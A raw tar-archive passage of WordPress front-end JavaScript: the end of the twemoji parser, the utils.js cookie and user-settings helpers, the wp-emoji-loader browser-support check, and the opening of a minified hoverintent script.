3e\uddd1\ud83c[\udffb-\udffd\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb-\udffe]|\ud83e\uddd1\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d[\udc68\udc69]|\ud83e\udef1\ud83c\udffb\u200d\ud83e\udef2\ud83c[\udffc-\udfff]|\ud83e\udef1\ud83c\udffc\u200d\ud83e\udef2\ud83c[\udffb\udffd-\udfff]|\ud83e\udef1\ud83c\udffd\u200d\ud83e\udef2\ud83c[\udffb\udffc\udffe\udfff]|\ud83e\udef1\ud83c\udffe\u200d\ud83e\udef2\ud83c[\udffb-\udffd\udfff]|\ud83e\udef1\ud83c\udfff\u200d\ud83e\udef2\ud83c[\udffb-\udffe]|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc68|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d[\udc68\udc69]|\ud83e\uddd1\u200d\ud83e\udd1d\u200d\ud83e\uddd1|\ud83d\udc6b\ud83c[\udffb-\udfff]|\ud83d\udc6c\ud83c[\udffb-\udfff]|\ud83d\udc6d\ud83c[\udffb-\udfff]|\ud83d\udc8f\ud83c[\udffb-\udfff]|\ud83d\udc91\ud83c[\udffb-\udfff]|\ud83e\udd1d\ud83c[\udffb-\udfff]|\ud83d[\udc6b-\udc6d\udc8f\udc91]|\ud83e\udd1d)|(?:\ud83d[\udc68\udc69]|\ud83e\uddd1)(?:\ud83c[\udffb-\udfff])?\u200d(?:\u2695\ufe0f|\u2696\ufe0f|\u2708\ufe0f|\ud83c[\udf3e\udf73\udf7c\udf84\udf93\udfa4\udfa8\udfeb\udfed]|\ud83d[\udcbb\udcbc\udd27\udd2c\ude80\ude92]|\ud83e[\uddaf-\uddb3\uddbc\uddbd])|(?:\ud83c[\udfcb\udfcc]|\ud83d[\udd74\udd75]|\u26f9)((?:\ud83c[\udffb-\udfff]|\ufe0f)\u200d[\u2640\u2642]\ufe0f)|(?:\ud83c[\udfc3\udfc4\udfca]|\ud83d[\udc6e\udc70\udc71\udc73\udc77\udc81\udc82\udc86\udc87\ude45-\ude47\ude4b\ude4d\ude4e\udea3\udeb4-\udeb6]|\ud83e[\udd26\udd35\udd37-\udd39\udd3d\udd3e\uddb8\uddb9\uddcd-\uddcf\uddd4\uddd6-\udddd])(?:\ud83c[\udffb-\udfff])?\u200d[\u2640\u2642]\ufe0f|(?:\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f|\ud83c\udff3\ufe0f\u200d\ud83c\udf08|\ud83d\ude36\u200d\ud83c\udf2b\ufe0f|\u2764\ufe0f\u200d\ud83d\udd25|\u2764\ufe0f\u200d\ud83e\ude79|\ud83c\udff4\u200d\u2620\ufe0f|\ud83d\udc15\u200d\ud83e\uddba|\ud83d\udc3b\u200d\u2744\ufe0f|\ud83d\udc41\u200d\ud83d\udde8|\ud83d\udc68\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83d\udc6f\u200d\u2640\ufe0f|\ud83d\udc6f\u200d\u2642\ufe0f|\ud83d\ude2e\u200d\ud83d\udca8|\ud83d\ude35\u200d\ud83d\udcab|\ud83e\udd3c\u200d\u2640\ufe0f|\ud83e\udd3c\u200d\u2642\ufe0f|\ud83e\uddde\u200d\u2640\ufe0f|\ud83e\uddde\u200d\u2642\ufe0f|\ud83e\udddf\u200d\u2640\ufe0f|\ud83e\udddf\u200d\u2642\ufe0f|\ud83d\udc08\u200d\u2b1b)|[#*0-9]\ufe0f?\u20e3|(?:[©®\u2122\u265f]\ufe0f)|(?:\ud83c[\udc04\udd70\udd71\udd7e\udd7f\ude02\ude1a\ude2f\ude37\udf21\udf24-\udf2c\udf36\udf7d\udf96\udf97\udf99-\udf9b\udf9e\udf9f\udfcd\udfce\udfd4-\udfdf\udff3\udff5\udff7]|\ud83d[\udc3f\udc41\udcfd\udd49\udd4a\udd6f\udd70\udd73\udd76-\udd79\udd87\udd8a-\udd8d\udda5\udda8\uddb1\uddb2\uddbc\uddc2-\uddc4\uddd1-\uddd3\udddc-\uddde\udde1\udde3\udde8\uddef\uddf3\uddfa\udecb\udecd-\udecf\udee0-\udee5\udee9\udef0\udef3]|[\u203c\u2049\u2139\u2194-\u2199\u21a9\u21aa\u231a\u231b\u2328\u23cf\u23ed-\u23ef\u23f1\u23f2\u23f8-\u23fa\u24c2\u25aa\u25ab\u25b6\u25c0\u25fb-\u25fe\u2600-\u2604\u260e\u2611\u2614\u2615\u2618\u2620\u2622\u2623\u2626\u262a\u262e\u262f\u2638-\u263a\u2640\u2642\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267b\u267f\u2692-\u2697\u2699\u269b\u269c\u26a0\u26a1\u26a7\u26aa\u26ab\u26b0\u26b1\u26bd\u26be\u26c4\u26c5\u26c8\u26cf\u26d1\u26d3\u26d4\u26e9\u26ea\u26f0-\u26f5\u26f8\u26fa\u26fd\u2702\u2708\u2709\u270f\u2712\u2714\u2716\u271d\u2721\u2733\u2734\u2744\u2747\u2757\u2763\u2764\u27a1\u2934\u2935\u2b05-\u2b07\u2b1b\u2b1c\u2b50\u2b55\u3030\u303d\u3297\u3299])(?:\ufe0f|(?!\ufe0e))|(?:(?:\ud83c[\udfcb\udfcc]|\ud83d[\udd74\udd75\udd90]|[\u261d\u26f7\u26f9\u270c\u270d])(?:\ufe0f|(?!\ufe0e))|(?:\ud83c[\udf85\udfc2-\udfc4\udfc7\udfca]|\ud83d[\udc42\udc43\udc46-\udc50\udc66-\udc69\udc6e\udc70-\udc78\udc7c\udc81-\udc83\udc85-\udc87\udcaa\udd7a\udd95\udd96\ude45-\ude47\ude4b-\ude4f\udea3\udeb4-\udeb6\udec0\udecc]|\ud83e[\udd0c\udd0f\udd18-\udd1c\udd1e\udd1f\udd26\udd30-\udd39\udd3d\udd3e\udd77\uddb5\uddb6\uddb8\uddb9\uddbb\uddcd-\uddcf\uddd1-\udddd\udec3-\udec5\udef0-\udef6]|[\u270a\u270b]))(?:\ud83c[\udffb-\udfff])?|(?:\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f|\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc73\udb40\udc63\udb40\udc74\udb40\udc7f|\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc77\udb40\udc6c\udb40\udc73\udb40\udc7f|\ud83c\udde6\ud83c[\udde8-\uddec\uddee\uddf1\uddf2\uddf4\uddf6-\uddfa\uddfc\uddfd\uddff]|\ud83c\udde7\ud83c[\udde6\udde7\udde9-\uddef\uddf1-\uddf4\uddf6-\uddf9\uddfb\uddfc\uddfe\uddff]|\ud83c\udde8\ud83c[\udde6\udde8\udde9\uddeb-\uddee\uddf0-\uddf5\uddf7\uddfa-\uddff]|\ud83c\udde9\ud83c[\uddea\uddec\uddef\uddf0\uddf2\uddf4\uddff]|\ud83c\uddea\ud83c[\udde6\udde8\uddea\uddec\udded\uddf7-\uddfa]|\ud83c\uddeb\ud83c[\uddee-\uddf0\uddf2\uddf4\uddf7]|\ud83c\uddec\ud83c[\udde6\udde7\udde9-\uddee\uddf1-\uddf3\uddf5-\uddfa\uddfc\uddfe]|\ud83c\udded\ud83c[\uddf0\uddf2\uddf3\uddf7\uddf9\uddfa]|\ud83c\uddee\ud83c[\udde8-\uddea\uddf1-\uddf4\uddf6-\uddf9]|\ud83c\uddef\ud83c[\uddea\uddf2\uddf4\uddf5]|\ud83c\uddf0\ud83c[\uddea\uddec-\uddee\uddf2\uddf3\uddf5\uddf7\uddfc\uddfe\uddff]|\ud83c\uddf1\ud83c[\udde6-\udde8\uddee\uddf0\uddf7-\uddfb\uddfe]|\ud83c\uddf2\ud83c[\udde6\udde8-\udded\uddf0-\uddff]|\ud83c\uddf3\ud83c[\udde6\udde8\uddea-\uddec\uddee\uddf1\uddf4\uddf5\uddf7\uddfa\uddff]|\ud83c\uddf4\ud83c\uddf2|\ud83c\uddf5\ud83c[\udde6\uddea-\udded\uddf0-\uddf3\uddf7-\uddf9\uddfc\uddfe]|\ud83c\uddf6\ud83c\udde6|\ud83c\uddf7\ud83c[\uddea\uddf4\uddf8\uddfa\uddfc]|\ud83c\uddf8\ud83c[\udde6-\uddea\uddec-\uddf4\uddf7-\uddf9\uddfb\uddfd-\uddff]|\ud83c\uddf9\ud83c[\udde6\udde8\udde9\uddeb-\udded\uddef-\uddf4\uddf7\uddf9\uddfb\uddfc\uddff]|\ud83c\uddfa\ud83c[\udde6\uddec\uddf2\uddf3\uddf8\uddfe\uddff]|\ud83c\uddfb\ud83c[\udde6\udde8\uddea\uddec\uddee\uddf3\uddfa]|\ud83c\uddfc\ud83c[\uddeb\uddf8]|\ud83c\uddfd\ud83c\uddf0|\ud83c\uddfe\ud83c[\uddea\uddf9]|\ud83c\uddff\ud83c[\udde6\uddf2\uddfc]|\ud83c[\udccf\udd8e\udd91-\udd9a\udde6-\uddff\ude01\ude32-\ude36\ude38-\ude3a\ude50\ude51\udf00-\udf20\udf2d-\udf35\udf37-\udf7c\udf7e-\udf84\udf86-\udf93\udfa0-\udfc1\udfc5\udfc6\udfc8\udfc9\udfcf-\udfd3\udfe0-\udff0\udff4\udff8-\udfff]|\ud83d[\udc00-\udc3e\udc40\udc44\udc45\udc51-\udc65\udc6a\udc6f\udc79-\udc7b\udc7d-\udc80\udc84\udc88-\udc8e\udc90\udc92-\udca9\udcab-\udcfc\udcff-\udd3d\udd4b-\udd4e\udd50-\udd67\udda4\uddfb-\ude44\ude48-\ude4a\ude80-\udea2\udea4-\udeb3\udeb7-\udebf\udec1-\udec5\uded0-\uded2\uded5-\uded7\udedd-\udedf\udeeb\udeec\udef4-\udefc\udfe0-\udfeb\udff0]|\ud83e[\udd0d\udd0e\udd10-\udd17\udd20-\udd25\udd27-\udd2f\udd3a\udd3c\udd3f-\udd45\udd47-\udd76\udd78-\uddb4\uddb7\uddba\uddbc-\uddcc\uddd0\uddde-\uddff\ude70-\ude74\ude78-\ude7c\ude80-\ude86\ude90-\udeac\udeb0-\udeba\udec0-\udec2\uded0-\uded9\udee0-\udee7]|[\u23e9-\u23ec\u23f0\u23f3\u267e\u26ce\u2705\u2728\u274c\u274e\u2753-\u2755\u2795-\u2797\u27b0\u27bf\ue50a])|\ufe0f/g, // avoid runtime RegExp creation for not so smart, // not JIT based, and old browsers / engines UFE0Fg = /\uFE0F/g, // avoid using a string literal like '\u200D' here because minifiers expand it inline U200D = String.fromCharCode(0x200D), // used to find HTML special chars in attributes rescaper = /[&<>'"]/g, // nodes with type 1 which should **not** be parsed shouldntBeParsed = /^(?:iframe|noframes|noscript|script|select|style|textarea)$/, // just a private shortcut fromCharCode = String.fromCharCode; return twemoji; ///////////////////////// // private functions // // declaration // ///////////////////////// /** * Shortcut to create text nodes * @param string text used to create DOM text node * @return Node a DOM node with that text */ function createText(text, clean) { return document.createTextNode(clean ? text.replace(UFE0Fg, '') : text); } /** * Utility function to escape html attribute text * @param string text use in HTML attribute * @return string text encoded to use in HTML attribute */ function escapeHTML(s) { return s.replace(rescaper, replacer); } /** * Default callback used to generate emoji src * based on Twitter CDN * @param string the emoji codepoint string * @param string the default size to use, i.e. "36x36" * @return string the image source to use */ function defaultImageSrcGenerator(icon, options) { return ''.concat(options.base, options.size, '/', icon, options.ext); } /** * Given a generic DOM nodeType 1, walk through all children * and store every nodeType 3 (#text) found in the tree. * @param Element a DOM Element with probably some text in it * @param Array the list of previously discovered text nodes * @return Array same list with new discovered nodes, if any */ function grabAllTextNodes(node, allText) { var childNodes = node.childNodes, length = childNodes.length, subnode, nodeType; while (length--) { subnode = childNodes[length]; nodeType = subnode.nodeType; // parse emoji only in text nodes if (nodeType === 3) { // collect them to process emoji later allText.push(subnode); } // ignore all nodes that are not type 1, that are svg, or that // should not be parsed as script, style, and others else if (nodeType === 1 && !('ownerSVGElement' in subnode) && !shouldntBeParsed.test(subnode.nodeName.toLowerCase())) { grabAllTextNodes(subnode, allText); } } return allText; } /** * Used to both remove the possible variant * and to convert utf16 into code points. * If there is a zero-width-joiner (U+200D), leave the variants in. * @param string the raw text of the emoji match * @return string the code point */ function grabTheRightIcon(rawText) { // if variant is present as \uFE0F return toCodePoint(rawText.indexOf(U200D) < 0 ? rawText.replace(UFE0Fg, '') : rawText ); } /** * DOM version of the same logic / parser: * emojify all found sub-text nodes placing images node instead. * @param Element generic DOM node with some text in some child node * @param Object options containing info about how to parse * * .callback Function the callback to invoke per each found emoji. * .base string the base url, by default twemoji.base * .ext string the image extension, by default twemoji.ext * .size string the assets size, by default twemoji.size * * @return Element same generic node with emoji in place, if any. */ function parseNode(node, options) { var allText = grabAllTextNodes(node, []), length = allText.length, attrib, attrname, modified, fragment, subnode, text, match, i, index, img, rawText, iconId, src; while (length--) { modified = false; fragment = document.createDocumentFragment(); subnode = allText[length]; text = subnode.nodeValue; i = 0; while ((match = re.exec(text))) { index = match.index; if (index !== i) { fragment.appendChild( createText(text.slice(i, index), true) ); } rawText = match[0]; iconId = grabTheRightIcon(rawText); i = index + rawText.length; src = options.callback(iconId, options); if (iconId && src) { img = new Image(); img.onerror = options.onerror; img.setAttribute('draggable', 'false'); attrib = options.attributes(rawText, iconId); for (attrname in attrib) { if ( attrib.hasOwnProperty(attrname) && // don't allow any handlers to be set + don't allow overrides attrname.indexOf('on') !== 0 && !img.hasAttribute(attrname) ) { img.setAttribute(attrname, attrib[attrname]); } } img.className = options.className; img.alt = rawText; img.src = src; modified = true; fragment.appendChild(img); } if (!img) fragment.appendChild(createText(rawText, false)); img = null; } // is there actually anything to replace in here ? if (modified) { // any text left to be added ? if (i < text.length) { fragment.appendChild( createText(text.slice(i), true) ); } // replace the text node only, leave intact // anything else surrounding such text subnode.parentNode.replaceChild(fragment, subnode); } } return node; } /** * String/HTML version of the same logic / parser: * emojify a generic text placing images tags instead of surrogates pair. * @param string generic string with possibly some emoji in it * @param Object options containing info about how to parse * * .callback Function the callback to invoke per each found emoji. * .base string the base url, by default twemoji.base * .ext string the image extension, by default twemoji.ext * .size string the assets size, by default twemoji.size * * @return the string with <img tags> replacing all found and parsed emoji */ function parseString(str, options) { return replace(str, function (rawText) { var ret = rawText, iconId = grabTheRightIcon(rawText), src = options.callback(iconId, options), attrib, attrname; if (iconId && src) { // recycle the match string replacing the emoji // with its image counter part ret = '<img '.concat( 'class="', options.className, '" ', 'draggable="false" ', // needs to preserve user original intent // when variants should be copied and pasted too 'alt="', rawText, '"', ' src="', src, '"' ); attrib = options.attributes(rawText, iconId); for (attrname in attrib) { if ( attrib.hasOwnProperty(attrname) && // don't allow any handlers to be set + don't allow overrides attrname.indexOf('on') !== 0 && ret.indexOf(' ' + attrname + '=') === -1 ) { ret = ret.concat(' ', attrname, '="', escapeHTML(attrib[attrname]), '"'); } } ret = ret.concat('/>'); } return ret; }); } /** * Function used to actually replace HTML special chars * @param string HTML special char * @return string encoded HTML special char */ function replacer(m) { return escaper[m]; } /** * Default options.attribute callback * @return null */ function returnNull() { return null; } /** * Given a generic value, creates its squared counterpart if it's a number. * As example, number 36 will return '36x36'. * @param any a generic value. * @return any a string representing asset size, i.e. "36x36" * only in case the value was a number. * Returns initial value otherwise. */ function toSizeSquaredAsset(value) { return typeof value === 'number' ? value + 'x' + value : value; } ///////////////////////// // exported functions // // declaration // ///////////////////////// function fromCodePoint(codepoint) { var code = typeof codepoint === 'string' ? parseInt(codepoint, 16) : codepoint; if (code < 0x10000) { return fromCharCode(code); } code -= 0x10000; return fromCharCode( 0xD800 + (code >> 10), 0xDC00 + (code & 0x3FF) ); } function parse(what, how) { if (!how || typeof how === 'function') { how = {callback: how}; } // if first argument is string, inject html <img> tags // otherwise use the DOM tree and parse text nodes only return (typeof what === 'string' ? parseString : parseNode)(what, { callback: how.callback || defaultImageSrcGenerator, attributes: typeof how.attributes === 'function' ? how.attributes : returnNull, base: typeof how.base === 'string' ? how.base : twemoji.base, ext: how.ext || twemoji.ext, size: how.folder || toSizeSquaredAsset(how.size || twemoji.size), className: how.className || twemoji.className, onerror: how.onerror || twemoji.onerror }); } function replace(text, callback) { return String(text).replace(re, callback); } function test(text) { // IE6 needs a reset before too re.lastIndex = 0; var result = re.test(text); re.lastIndex = 0; return result; } function toCodePoint(unicodeSurrogates, sep) { var r = [], c = 0, p = 0, i = 0; while (i < unicodeSurrogates.length) { c = unicodeSurrogates.charCodeAt(i++); if (p) { r.push((0x10000 + ((p - 0xD800) << 10) + (c - 0xDC00)).toString(16)); p = 0; } else if (0xD800 <= c && c <= 0xDBFF) { p = c; } else { r.push(c.toString(16)); } } return r.join(sep || '-'); } }());��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/utils.js�����������������������������������������������������������������������������������������0000644�����������������00000011071�14717703502�0006664 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * Cookie functions. * * @output wp-includes/js/utils.js */ /* global userSettings, getAllUserSettings, wpCookies, setUserSetting */ /* exported getUserSetting, setUserSetting, deleteUserSetting */ window.wpCookies = { // The following functions are from Cookie.js class in TinyMCE 3, Moxiecode, used under LGPL. each: function( obj, cb, scope ) { var n, l; if ( ! obj ) { return 0; } scope = scope || obj; if ( typeof( obj.length ) !== 'undefined' ) { for ( n = 0, l = obj.length; n < l; n++ ) { if ( cb.call( scope, obj[n], n, obj ) === false ) { return 0; } } } else { for ( n in obj ) { if ( obj.hasOwnProperty(n) ) { if ( cb.call( scope, obj[n], n, obj ) === false ) { return 0; } } } } return 1; }, /** * Get a multi-values cookie. * Returns a JS object with the name: 'value' pairs. */ getHash: function( name ) { var cookie = this.get( name ), values; if ( cookie ) { this.each( cookie.split('&'), function( pair ) { pair = pair.split('='); values = values || {}; values[pair[0]] = pair[1]; }); } return values; }, /** * Set a multi-values cookie. * * 'values_obj' is the JS object that is stored. It is encoded as URI in wpCookies.set(). */ setHash: function( name, values_obj, expires, path, domain, secure ) { var str = ''; this.each( values_obj, function( val, key ) { str += ( ! str ? '' : '&' ) + key + '=' + val; }); this.set( name, str, expires, path, domain, secure ); }, /** * Get a cookie. */ get: function( name ) { var e, b, cookie = document.cookie, p = name + '='; if ( ! cookie ) { return; } b = cookie.indexOf( '; ' + p ); if ( b === -1 ) { b = cookie.indexOf(p); if ( b !== 0 ) { return null; } } else { b += 2; } e = cookie.indexOf( ';', b ); if ( e === -1 ) { e = cookie.length; } return decodeURIComponent( cookie.substring( b + p.length, e ) ); }, /** * Set a cookie. * * The 'expires' arg can be either a JS Date() object set to the expiration date (back-compat) * or the number of seconds until expiration */ set: function( name, value, expires, path, domain, secure ) { var d = new Date(); if ( typeof( expires ) === 'object' && expires.toGMTString ) { expires = expires.toGMTString(); } else if ( parseInt( expires, 10 ) ) { d.setTime( d.getTime() + ( parseInt( expires, 10 ) * 1000 ) ); // Time must be in milliseconds. expires = d.toGMTString(); } else { expires = ''; } document.cookie = name + '=' + encodeURIComponent( value ) + ( expires ? '; expires=' + expires : '' ) + ( path ? '; path=' + path : '' ) + ( domain ? '; domain=' + domain : '' ) + ( secure ? '; secure' : '' ); }, /** * Remove a cookie. * * This is done by setting it to an empty value and setting the expiration time in the past. */ remove: function( name, path, domain, secure ) { this.set( name, '', -1000, path, domain, secure ); } }; // Returns the value as string. Second arg or empty string is returned when value is not set. window.getUserSetting = function( name, def ) { var settings = getAllUserSettings(); if ( settings.hasOwnProperty( name ) ) { return settings[name]; } if ( typeof def !== 'undefined' ) { return def; } return ''; }; /* * Both name and value must be only ASCII letters, numbers or underscore * and the shorter, the better (cookies can store maximum 4KB). Not suitable to store text. * The value is converted and stored as string. */ window.setUserSetting = function( name, value, _del ) { if ( 'object' !== typeof userSettings ) { return false; } var uid = userSettings.uid, settings = wpCookies.getHash( 'wp-settings-' + uid ), path = userSettings.url, secure = !! userSettings.secure; name = name.toString().replace( /[^A-Za-z0-9_-]/g, '' ); if ( typeof value === 'number' ) { value = parseInt( value, 10 ); } else { value = value.toString().replace( /[^A-Za-z0-9_-]/g, '' ); } settings = settings || {}; if ( _del ) { delete settings[name]; } else { settings[name] = value; } wpCookies.setHash( 'wp-settings-' + uid, settings, 31536000, path, '', secure ); wpCookies.set( 'wp-settings-time-' + uid, userSettings.time, 31536000, path, '', secure ); return name; }; window.deleteUserSetting = function( name ) { return setUserSetting( name, '', 1 ); }; // Returns all settings as JS object. window.getAllUserSettings = function() { if ( 'object' !== typeof userSettings ) { return {}; } return wpCookies.getHash( 'wp-settings-' + userSettings.uid ) || {}; }; �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/wp-emoji-loader.js�������������������������������������������������������������������������������0000644�����������������00000016030�14717703502�0010517 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * @output wp-includes/js/wp-emoji-loader.js */ ( function( window, document, settings ) { var src, ready, ii, tests; // Create a canvas element for testing native browser support of emoji. var canvas = document.createElement( 'canvas' ); var context = canvas.getContext && canvas.getContext( '2d' ); /** * Checks if two sets of Emoji characters render the same visually. * * @since 4.9.0 * * @private * * @param {number[]} set1 Set of Emoji character codes. * @param {number[]} set2 Set of Emoji character codes. * * @return {boolean} True if the two sets render the same. */ function emojiSetsRenderIdentically( set1, set2 ) { var stringFromCharCode = String.fromCharCode; // Cleanup from previous test. context.clearRect( 0, 0, canvas.width, canvas.height ); context.fillText( stringFromCharCode.apply( this, set1 ), 0, 0 ); var rendered1 = canvas.toDataURL(); // Cleanup from previous test. context.clearRect( 0, 0, canvas.width, canvas.height ); context.fillText( stringFromCharCode.apply( this, set2 ), 0, 0 ); var rendered2 = canvas.toDataURL(); return rendered1 === rendered2; } /** * Detects if the browser supports rendering emoji or flag emoji. * * Flag emoji are a single glyph made of two characters, so some browsers * (notably, Firefox OS X) don't support them. * * @since 4.2.0 * * @private * * @param {string} type Whether to test for support of "flag" or "emoji". * * @return {boolean} True if the browser can render emoji, false if it cannot. */ function browserSupportsEmoji( type ) { var isIdentical; if ( ! context || ! context.fillText ) { return false; } /* * Chrome on OS X added native emoji rendering in M41. Unfortunately, * it doesn't work when the font is bolder than 500 weight. So, we * check for bold rendering support to avoid invisible emoji in Chrome. */ context.textBaseline = 'top'; context.font = '600 32px Arial'; switch ( type ) { case 'flag': /* * Test for Transgender flag compatibility. This flag is shortlisted for the Emoji 13 spec, * but has landed in Twemoji early, so we can add support for it, too. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly (white flag emoji + transgender symbol). */ isIdentical = emojiSetsRenderIdentically( [ 0x1F3F3, 0xFE0F, 0x200D, 0x26A7, 0xFE0F ], [ 0x1F3F3, 0xFE0F, 0x200B, 0x26A7, 0xFE0F ] ); if ( isIdentical ) { return false; } /* * Test for UN flag compatibility. This is the least supported of the letter locale flags, * so gives us an easy test for full support. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly ([U] + [N]). */ isIdentical = emojiSetsRenderIdentically( [ 0xD83C, 0xDDFA, 0xD83C, 0xDDF3 ], [ 0xD83C, 0xDDFA, 0x200B, 0xD83C, 0xDDF3 ] ); if ( isIdentical ) { return false; } /* * Test for English flag compatibility. England is a country in the United Kingdom, it * does not have a two letter locale code but rather an five letter sub-division code. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly (black flag emoji + [G] + [B] + [E] + [N] + [G]). */ isIdentical = emojiSetsRenderIdentically( [ 0xD83C, 0xDFF4, 0xDB40, 0xDC67, 0xDB40, 0xDC62, 0xDB40, 0xDC65, 0xDB40, 0xDC6E, 0xDB40, 0xDC67, 0xDB40, 0xDC7F ], [ 0xD83C, 0xDFF4, 0x200B, 0xDB40, 0xDC67, 0x200B, 0xDB40, 0xDC62, 0x200B, 0xDB40, 0xDC65, 0x200B, 0xDB40, 0xDC6E, 0x200B, 0xDB40, 0xDC67, 0x200B, 0xDB40, 0xDC7F ] ); return ! isIdentical; case 'emoji': /* * Why can't we be friends? Everyone can now shake hands in emoji, regardless of skin tone! * * To test for Emoji 14.0 support, try to render a new emoji: Handshake: Light Skin Tone, Dark Skin Tone. * * The Handshake: Light Skin Tone, Dark Skin Tone emoji is a ZWJ sequence combining 🫱 Rightwards Hand, * 🏻 Light Skin Tone, a Zero Width Joiner, 🫲 Leftwards Hand, and 🏿 Dark Skin Tone. * * 0x1FAF1 == Rightwards Hand * 0x1F3FB == Light Skin Tone * 0x200D == Zero-Width Joiner (ZWJ) that links the code points for the new emoji or * 0x200B == Zero-Width Space (ZWS) that is rendered for clients not supporting the new emoji. * 0x1FAF2 == Leftwards Hand * 0x1F3FF == Dark Skin Tone. * * When updating this test for future Emoji releases, ensure that individual emoji that make up the * sequence come from older emoji standards. */ isIdentical = emojiSetsRenderIdentically( [0x1FAF1, 0x1F3FB, 0x200D, 0x1FAF2, 0x1F3FF], [0x1FAF1, 0x1F3FB, 0x200B, 0x1FAF2, 0x1F3FF] ); return ! isIdentical; } return false; } /** * Adds a script to the head of the document. * * @ignore * * @since 4.2.0 * * @param {Object} src The url where the script is located. * @return {void} */ function addScript( src ) { var script = document.createElement( 'script' ); script.src = src; script.defer = script.type = 'text/javascript'; document.getElementsByTagName( 'head' )[0].appendChild( script ); } tests = Array( 'flag', 'emoji' ); settings.supports = { everything: true, everythingExceptFlag: true }; /* * Tests the browser support for flag emojis and other emojis, and adjusts the * support settings accordingly. */ for( ii = 0; ii < tests.length; ii++ ) { settings.supports[ tests[ ii ] ] = browserSupportsEmoji( tests[ ii ] ); settings.supports.everything = settings.supports.everything && settings.supports[ tests[ ii ] ]; if ( 'flag' !== tests[ ii ] ) { settings.supports.everythingExceptFlag = settings.supports.everythingExceptFlag && settings.supports[ tests[ ii ] ]; } } settings.supports.everythingExceptFlag = settings.supports.everythingExceptFlag && ! settings.supports.flag; // Sets DOMReady to false and assigns a ready function to settings. settings.DOMReady = false; settings.readyCallback = function() { settings.DOMReady = true; }; // When the browser can not render everything we need to load a polyfill. if ( ! settings.supports.everything ) { ready = function() { settings.readyCallback(); }; /* * Cross-browser version of adding a dom ready event. */ if ( document.addEventListener ) { document.addEventListener( 'DOMContentLoaded', ready, false ); window.addEventListener( 'load', ready, false ); } else { window.attachEvent( 'onload', ready ); document.attachEvent( 'onreadystatechange', function() { if ( 'complete' === document.readyState ) { settings.readyCallback(); } } ); } src = settings.source || {}; if ( src.concatemoji ) { addScript( src.concatemoji ); } else if ( src.wpemoji && src.twemoji ) { addScript( src.twemoji ); addScript( src.wpemoji ); } } } )( window, document, window._wpemojiSettings ); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/hoverintent-js.min.js����������������������������������������������������������������������������0000644�����������������00000003266�14717703502�0011274 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ !function(e,t){if("function"==typeof define&&define.amd)define("hoverintent",["module"],t);else if("undefined"!=typeof exports)t(module);else{var n={exports:{}};t(n),e.hoverintent=n.exports}}(this,function(e){"use strict";var t=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e};e.exports=function(e,n,o){function i(e,t){return y&&(y=clearTimeout(y)),b=0,p?void 0:o.call(e,t)}function r(e){m=e.clientX,d=e.clientY}function u(e,t){if(y&&(y=clearTimeout(y)),Math.abs(h-m)+Math.abs(E-d)<x.sensitivity)return b=1,p?void 0:n.call(e,t);h=m,E=d,y=setTimeout(function(){u(e,t)},x.interval)}function s(t){return 